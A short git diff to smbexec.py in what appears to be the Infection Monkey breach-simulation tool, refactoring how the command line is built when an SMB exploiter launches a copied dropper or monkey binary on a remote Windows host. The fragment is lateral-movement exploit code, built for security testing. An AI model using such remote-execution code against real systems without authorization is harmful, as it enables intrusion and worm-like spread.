diff --git a/chaos_monkey/exploit/smbexec.py b/chaos_monkey/exploit/smbexec.py
index 0fc1f27fe..f5fa2b26b 100644
--- a/chaos_monkey/exploit/smbexec.py
+++ b/chaos_monkey/exploit/smbexec.py
@@ -86,11 +86,11 @@ class SmbExploiter(HostExploiter):
 
         # execute the remote dropper in case the path isn't final
         if remote_full_path.lower() != self._config.dropper_target_path.lower():
-            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path}
+            cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
+                      build_monkey_commandline(self.host, get_monkey_depth() - 1, self._config.dropper_target_path)
         else:
-            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path}
-
-        cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
+            cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
+                      build_monkey_commandline(self.host, get_monkey_depth() - 1)
 
         for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
             rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))